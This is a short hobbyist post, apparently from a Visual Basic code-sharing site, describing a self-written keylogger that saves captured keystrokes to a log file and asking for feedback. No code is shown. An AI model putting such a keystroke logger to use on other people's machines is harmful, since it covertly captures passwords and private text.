This is a simple keylogger I wrote for fun. It records most keystrokes and saves the log to a file! It sometimes gets keystrokes mixed up but other than that it seems to work fine. Please comment on my code as this is the first project I've uploaded onto VBC. Any help/suggestions are appreciated!
Assumes
Needs a textbox on the form called txtLog.
Side Effects
None.
